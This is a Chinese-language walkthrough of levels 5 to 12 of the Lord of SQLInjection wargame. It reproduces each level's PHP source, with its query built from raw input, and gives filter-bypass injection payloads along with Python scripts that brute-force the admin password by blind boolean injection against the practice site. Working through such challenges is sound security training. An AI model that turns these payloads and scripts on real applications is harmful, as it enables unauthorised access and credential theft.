靶场:LORD OF SQLINJECTION
第五题 WOLFMAN
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
绕过空格的方法:
- 替换字符:%09、%0A、%0D、%A0
- 使用括号包裹语句,不出现空格
pw=1'or%0Aid='admin
pw=1'or(id='admin')--%09
用括号替换也可以
第六题 DARKELF
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
替换or和and
-
符号替代: 和&& - 双写绕过
- 中间加注释改成o/**/r,但是貌似会识别成o r,如果既过滤or,还过滤空格,这样写还挺好
pw='1' || id = 'admin
第七题 ORGE
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
显然需要爆破密码,和之前的第四题一样,只需要把or改成 | 即可。 |
import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
headers = {'Host': 'los.rubiya.kr',
'Connection': 'close',
'Pagma': 'no-cache',
'Cache-Control': 'no-cache',
'sec-ch-ua-platform': "Windows",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
cookies={'PHPSESSID':'nc4ldg9qv2m60ddunromird6dk'}
# 确定密码长度
for length in range(4,20):
params = {'pw':f"'||length(pw)={length}-- "}
response = requests.get(url, cookies=cookies, params=params)
if(response.text.find("Hello admin")!=-1):
print(f"length: {length}")
break
#依次确定每个字符
pw = ""
for n in range (1,length+1):
for code in range(48,123):
params = {'pw':f"'|| ascii(SUBSTR(pw,{n},1))={code}-- "}
response = requests.get(url, cookies=cookies, params=params)
# print(params)
if(response.text.find("Hello admin")!=-1):
pw+=chr(code)
print(f"pw: {pw}")
break
密码是7b751aec
,不新鲜呀~
第八题 TROLL
大小写替换,因为preg_match大小写敏感,而sql不敏感
第九题 VAMPIRE
双写替换
第十题 SKELETON
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
pw=' or id = 'admin' --+
把后面的部分注释掉即可
第十一题 GOLEM
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
继续密码爆破,但是这次过滤了or,and,等号和substr(
- 等号替换:like
-
or和and: 和&& - substr(替换:substring(
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers = {'Host': 'los.rubiya.kr',
'Connection': 'close',
'Pagma': 'no-cache',
'Cache-Control': 'no-cache',
'sec-ch-ua-platform': "Windows",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
cookies={'PHPSESSID':'nc4ldg9qv2m60ddunromird6dk'}
# 确定密码长度
for length in range(4,20):
params = {'pw':f"'|| length(pw) like {length}-- "}
response = requests.get(url, cookies=cookies, params=params)
if(response.text.find("Hello admin")!=-1):
print(f"length: {length}")
break
#依次确定每个字符
pw = ""
for n in range (1,length+1):
for code in range(48,123):
params = {'pw':f"'|| ascii(SUBSTRING(pw,{n},1)) like {code}-- "}
response = requests.get(url, cookies=cookies, params=params)
print(params)
if(response.text.find("Hello admin")!=-1):
pw+=chr(code)
print(f"pw: {pw}")
break
密码是:77d6290b
第十二题 DARKNIGHT
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
继续是需要破解密码,这次还限制了不能使用substr、ascii和单引号。初步的想法如下:
- substr可以用mid代替
- ascii没得代替,想到可以改成mid(pw,{n},1) like char({code})
- 避免出现单引号
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Host': 'los.rubiya.kr',
'Connection': 'close',
'Pagma': 'no-cache',
'Cache-Control': 'no-cache',
'sec-ch-ua-platform': "Windows",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
cookies={'PHPSESSID':'nc4ldg9qv2m60ddunromird6dk'}
# 确定密码长度
for length in range(4,20):
params = {'no':f"0 || length(pw) like {length}-- "}
response = requests.get(url, cookies=cookies, params=params)
if(response.text.find("Hello admin")!=-1):
print(f"length: {length}")
break
#依次确定每个字符
pw = ""
for n in range (1,length+1):
for code in range(48,123):
params = {'no':f"0 || mid(pw,{n},1) like char({code})-- "}
response = requests.get(url, cookies=cookies, params=params)
print(params)
if(response.text.find("Hello admin")!=-1):
pw+=chr(code)
print(f"pw: {pw}")
break
得到的结果为pw: 0B70EA1
,是的,很遗憾,第八个字符没有识别出来
一开始不理解为什么,就在burpsuite上面试了下暴力破解/?no=0 || mid(pw,8,1) like char([48到123的数字])
,验证了一下果然是不行,然后改成mid(pw,8)
发现找到了是f或者F,这才恍然大悟,因为guest的pw的第八位也刚好是f,所以之前用mid(pw,8,1)找到的就是索引在前面的guest,而guest的pw不止8位,所以设为mid(pw,8)刚好能得到admin,还挺巧的!
另外,like和=不一样,后面可以跟正则表达式,所以可以发现设为char(95),每一个都有返回值,这是因为char(95)是下划线,表示通配符。而且like大小写不敏感!所以之前得到的pw全部是大写数字!
解决方法:
- 首先,为了避免得到guest的结果,增加 id like 0x61646d696e 的判断条件
- 大小写的问题没有想到很好的解决思路,只能换个方法
- ORD可以用于替换ascii
最后得到密码为0b70ea1f